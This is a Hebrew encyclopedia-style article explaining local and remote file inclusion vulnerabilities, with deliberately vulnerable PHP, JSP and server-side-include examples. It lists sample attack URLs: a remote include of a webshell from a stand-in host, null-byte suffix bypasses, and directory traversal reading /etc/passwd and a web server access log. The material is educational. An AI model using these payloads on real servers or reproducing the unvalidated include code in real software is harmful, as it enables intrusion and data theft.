File Inclusion

הכללת קבצים (אנגלית: File Inclusion) היא פגיעות ביישומי אינטרנט לא מבוקרים המסתמכים על זמן ריצה של סקריפט. בעזרת הפגיעות יכול התוקף להחדיר קוד אל שרת אינטרנט ולהריצו באופן מקומי או מרוחק.

הפגיעות מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי. במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, ניתן לשנות את מבנה הנתיב ולגרום לתוכנית לבצע פעולות לא מתוכננות כגון: מעבר בין סיפריות (Directory Traversal), טעינה והרצת קבצים זדוניים, צפייה בקבצים חסויים הדלפת מידע רגיש ועוד. 

פגיעות זו עשויה להוות בסיס להתקפות נוספות כגון:
 מניעת שירות (Dos).
 הזרקת קוד זדוני אל היישום (XSS).
 הזרקות קוד אל שרת האינטרנט.

סוגים 
ישנם 2 סוגי הכללות קבצים:
 הכללת קבצים מקומית (LFI - Local File Inclusion): תהליך של הכללת קבצים שכבר קיימים באופן מקומי בשרת, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול אך הקלט אינו מסונן ומאומת כראוי, מאפשר הזרקת תווים במקום הקלט המקורי ומקנה לתוקף לבצע פעולות שונות כגון: צפייה בתכנים, מעבר בין סיפריות בעזרת /.. ועוד.
 הכללת קבצים מרוחקת (RFI - Remote File Inclusion): תהליך של הכללת קבצים מרוחקים, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי ומאפשר הזרקת כתובת חיצונית והפעלת קבצים מרוחקים במקום הקלט המקורי.

שימוש

PHP 
בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:

פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.

כדי לנצל את הפגיעות התוקף יחליף משתנה אחד כדי לגרום לו לכלול קוד זדוני מרוחק. כדי למנוע את הפגיעות, יש לאמת את קלט לפני השימוש בו.<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?><form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>הערכים english.php ,french.php, ישנו את התנהגות היישום בהתאם לשפת המשתמש שנבחרה, אך במקומם ניתן להזריק קוד שונה:

הכללת קבצים מרוחקת (RFI):/vulnerable.php?language=http://evil.example.com/webshell.txt?הכללת קבצים מקומית (LFI):/vulnerable.php?language=C:\\ftp\\upload\\exploitשימוש בתו Null-Byte: המתעלם מהסיומת ה-PHP ומאפשרת גישה אל קבצים שאינם PHP (תוקן בגרסת PHP 5.3)./vulnerable.php?language=C:\\notes.txt%00מעבר בין ספריות (Directory Traversal): כדי לגשת אל קובץ passwd במערכות UNIX./vulnerable.php?language=../../../../../etc/passwd%00

JavaServer Pages 
בדוגמה שלהלן פגיעות בקוד JSP, שפת סקריפטים אשר יכולה לכלול קבצים בזמן ריצה:<%
   String p = request.getParameter("p");
   @include file="<%="includes/" + p +".jsp"%>"
%>בניגוד לשפת PHP, שפת JSP עדיין מושפעת מהזרקות Null Byte והפרמטר שלהלן יבצע פקודות JSP שנמצאות ביומן הגישה של שרת האינטרנט./vulnerable.jsp?p=../../../../var/log/access.log%00

HTML Server-Side Includes 
בדוגמה שלהלן פגיעות בקוד HTML החשוף לפגיעות של הכללת קבצים מרוחקת (RFI):<HTML>

<TITLE>Test File</TITLE>

<!--#include file=”USER_LANGUAGE”-->
</HTML>

ראו גם 
 CSRF
 XSS
 Directory Traversal
 הזרקת SQL

קישורים חיצוניים 

מידע על הכללת קבצים מרוחקת באתר Owasp 

 מידע על הכללת מקומית באתר Owasp 

 מידע על הכללת קבצים מקומית באתר Acunetix 

אבטחת מחשבים
האקינג